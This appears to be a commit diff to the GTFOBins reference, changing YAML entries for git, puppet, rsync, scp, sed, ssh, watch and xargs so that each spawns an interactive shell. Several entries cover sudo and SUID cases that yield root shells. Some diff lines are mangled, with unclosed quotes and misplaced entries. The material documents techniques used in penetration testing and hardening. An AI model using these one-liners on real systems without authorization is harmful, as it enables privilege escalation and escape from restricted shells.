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https://github.com/GTFOBins/GTFOBins.github.io
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Make interactive execute whenever possible
Here the trick is to restore those file descriptors (0, 1, 2) that have been redirected (`dup2`) by the parent process. First we need to determine which one has been redirected, for example by looking at `ls -l /proc/$$/fd/`. Then we can use `0<&x`, `1>&x` or `2>&x` to restore 0, 1 or 2 respectively, where `x` is any file descriptor number that points to the TTY. It may happen that no file descriptor is unchanged, in that case we can use `tty` to perform the redirection: sh <$(tty) >$(tty) 2>$(tty)
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@ -1,15 +1,9 @@
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---
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functions:
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execute-non-interactive:
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- code: |
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export PAGER=/usr/bin/id
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git -p help
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execute-interactive:
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- code: PAGER='sh -c "exec sh 0<&1"' git -p help
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sudo-enabled:
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- code: |
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export PAGER=/usr/bin/id
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sudo -E git -p help
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- code: PAGER='sh -c "exec sh 0<&1"' sudo -E git -p help
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suid-limited:
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- code: |
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export PAGER=/usr/bin/id
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./git -p help
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- code: PAGER='sh -c "exec sh 0<&1"' ./git -p help
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---
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@ -1,10 +1,8 @@
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---
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functions:
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execute-non-interactive:
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- description: The executed command output shown in the puppet log format.
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code: |
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export CMD="/usr/bin/id"
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puppet apply -e "exec { '$CMD': logoutput => true }"
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execute-interactive:
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- code: |
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puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
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file-write:
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- description: The file path must be absolute.
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code: |
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@ -16,8 +14,6 @@ functions:
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export LFILE=file_to_read
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puppet filebucket -l diff /dev/null $LFILE
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sudo-enabled:
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- description: The executed command output shown in the puppet log format.
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code: |
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export CMD="/usr/bin/id"
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sudo puppet apply -e "exec { '$CMD': logoutput => true }"
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- code: |
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sudo puppet apply -e "exec { '/bin/sh -c \"exec sh -i <$(tty) >$(tty) 2>$(tty)\"': }"
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---
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@ -1,9 +1,9 @@
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---
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functions:
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execute-interactive:
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- code: rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
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- code: rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
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sudo-enabled:
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- code: sudo rsync -e 'bash -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
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- code: sudo rsync -e 'sh -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
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suid-enabled:
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- code: ./rsync -e 'bash -p -c "exec 10<&0 11>&1 0<&2 1>&2; sh -i"' 127.0.0.1:/dev/null
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- code: ./rsync -e 'sh -p -c "sh 0<&2 1>&2"' 127.0.0.1:/dev/null
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---
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@ -1,10 +1,9 @@
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---
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functions:
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execute-non-interactive:
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execute-interactive:
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- code: |
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TF=$(mktemp)
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CMD="id"
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echo "$CMD" > "$TF"
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echo 'sh 0<&2 1>&2' > $TF
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chmod +x "$TF"
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scp -S $TF x y:
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upload:
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@ -22,15 +21,13 @@ functions:
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sudo-enabled:
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- code: |
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TF=$(mktemp)
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CMD="id"
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echo "$CMD" > "$TF"
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echo 'sh 0<&2 1>&2' > $TF
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chmod +x "$TF"
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sudo scp -S $TF x y:
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suid-limited:
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- code: |
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TF=$(mktemp)
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CMD="id"
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echo "$CMD" > "$TF"
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echo 'sh 0<&2 1>&2' > $TF
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chmod +x "$TF"
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./scp -S $TF a b:
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---
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@ -2,14 +2,14 @@
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functions:
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execute-interactive:
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- description: GNU version only. Also, this requires `bash`.
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code: sed -n "1e bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
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code: sed -n '1e exec sh 1>&0' /etc/hosts
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execute-non-interactive:
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- description: GNU version only.
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code: sed -n "1e id" /etc/hosts
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file-write:
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- code: |
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LFILE=file_to_write
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sed -n "1s/.*/DATA/w $LFILE" /etc/hosts
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sed -n '1e exec sh 1>&0 /etc/hosts
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file-read:
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- code: |
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LFILE=file_to_read
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@ -20,5 +20,5 @@ functions:
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./sed -e '' "$LFILE"
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sudo-enabled:
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- description: GNU version only. Also, this requires `bash`.
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code: sudo sed -n "1e /bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" /etc/hosts
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code: sudo sed -n '1e exec sh 1>&0 /etc/hosts
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---
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@ -4,7 +4,7 @@ functions:
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- description: Reconnecting may help bypassing restricted shells.
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code: ssh localhost $SHELL --noprofile --norc
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- description: Spawn interactive shell through ProxyCommand option.
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code: ssh -o ProxyCommand="/bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" x
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code: ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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upload:
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- description: Send local file to a SSH server.
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code: |
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@ -26,5 +26,5 @@ functions:
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ssh -F $LFILE localhost
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sudo-enabled:
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- description: Spawn interactive root shell through ProxyCommand option.
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code: sudo ssh -o ProxyCommand="/bin/bash -c 'exec 10<&0 11>&1 0<&2 1>&2; /bin/sh -i'" x
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code: sudo ssh -o ProxyCommand=';sh 0<&2 1>&2' x
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---
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@ -1,12 +1,12 @@
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---
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functions:
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execute-non-interactive:
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- code: watch /usr/bin/id
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execute-interactive:
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- code: watch -x sh -c 'reset; exec sh 1>&0 2>&0'
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suid-enabled:
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- description: This keeps the SUID privileges only if the `-x` option is present.
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code: ./watch -x /usr/bin/id
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code: ./watch -x sh -c 'reset; exec sh 1>&0 2>&0'
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sudo-enabled:
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- code: sudo watch /usr/bin/id
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- code: sudo watch -x sh -c 'reset; exec sh 1>&0 2>&0'
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suid-limited:
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- code: ./watch /usr/bin/id
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- code: ./watch 'reset; exec sh 1>&0 2>&0'
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---
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execute-interactive:
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- description: GNU version only.
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code: xargs -a /dev/null sh
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- code: echo x | xargs -Iy sh -c 'exec sh 0<&1'
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- description: Read interactively from `stdin`.
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code: |
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xargs -Ix sh -c 'exec sh 0<&1'
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x^D^D
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file-read:
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- description: This works as long as the file does not contain the NUL character, also a trailing `$'\n'` is added. The actual `/bin/echo` command is executed. GNU version only.
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code: |
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